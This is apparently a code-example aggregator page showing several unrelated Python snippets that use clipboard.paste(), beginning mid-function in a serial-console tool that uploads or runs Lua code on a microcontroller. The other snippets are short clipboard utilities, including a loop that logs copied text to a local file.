		if cmd == 'file' or cmd == 'load' or (cmd == 'execute' and len(args) == 2) or (cmd.find('compile') and len(args) == 3):
			if cmd == 'load' or cmd == 'execute':
				if len(args)==1:
					print("bad args, should be ':load src'")
					return False
				args.append(args[1])
			if len(args) != 3:
				print("bad args, should be ':file dst src'")
				return False
			try:
				with open(args[2],"rb") as f:
					buff = f.read()
			except IOError:
				print("file {0} not found".format(args[2]))
				return False
		else:
			try:
				buff = bytes(clipboard.paste())
			except UnicodeEncodeError:
				print("invalid clipboard content")
				return False
		if cmd == 'cross-compile' or cmd == 'execute':
			buff = luac_compile(buff)
			if buff == None:
				return False
		if cmd == 'soft-compile':
			head = ["collectgarbage() function __wrapper__()"]
			head += re.split("[\r\n]+",buff)
			head.append("end")
			head.append(OPEN_SEQ.format(args[1]))
			head.append("file.write(string.dump(__wrapper__)) file.close() __wrapper__=nil collectgarbage()")
		elif cmd == 'execute':
			head = ['collectgarbage() __backup__ = c c = {}']
			head += lualib_b64
			for x in reversed(base64_split(buff)):
				head.append('table.insert(c,{0})'.format(x))
			head.append('__code__=c c=__backup__ __backup__=nil')
			head.append('local r,e=load(function() collectgarbage() tmr.wdclr() return table.remove(__code__,#__code__) end) if r==nil then print(e) else r() end __code__= nil')
		elif len(args) > 1 and cmd != 'load':
			head = ['collectgarbage()']
			head += lualib_b64
			head += lualib_crc
			head.append(OPEN_SEQ.format(args[1]))
			for x in base64_split(buff):
				head.append('file.write({0})'.format(x))
			head.append('file.close() __c32__("{0}",{1}) __c32__=nil __dec__=nil collectgarbage()'.format(args[1],binascii.crc32(buff)))
		else:
			head = re.split("[\r\n]+",buff)
		sys.stdout.write(reader_prompt)
		if not reku:
			stop_command = False
		for x in head:
			if stop_command:
				print("aborted")
				break
			if x[0]==':' and (cmd=='load' or cmd=='paste'):
				command(x,True)
			else:
				tty_send(bytes(x))
				sem.acquire()
		if not reku:
			stop_command = True
Esempio n. 56
0
	def paste_clipboard(self):
		text = clipboard.paste()
		return text
Esempio n. 57
0
import clipboard
text = clipboard.paste()
with open('clipboard.txt', 'w') as clipboard_file:
    while True:
        while text == clipboard.paste():
            pass
        print clipboard.paste()
        clipboard_file.write("%s\n" % clipboard.paste())
        text = clipboard.paste()
Esempio n. 58
0
File: clyp.py Progetto: tmr232/clyp
def main():
    is_copied = do_copy()
    is_ttyout = os.isatty(sys.stdout.fileno())
    if not (is_copied and is_ttyout):
        sys.stdout.write(paste())
def main():
    import clipboard
    ret_text = remove_lines(clipboard.paste().splitlines())
    clipboard.copy(ret_text)
    print 'OUTPUT:\n\n', ret_text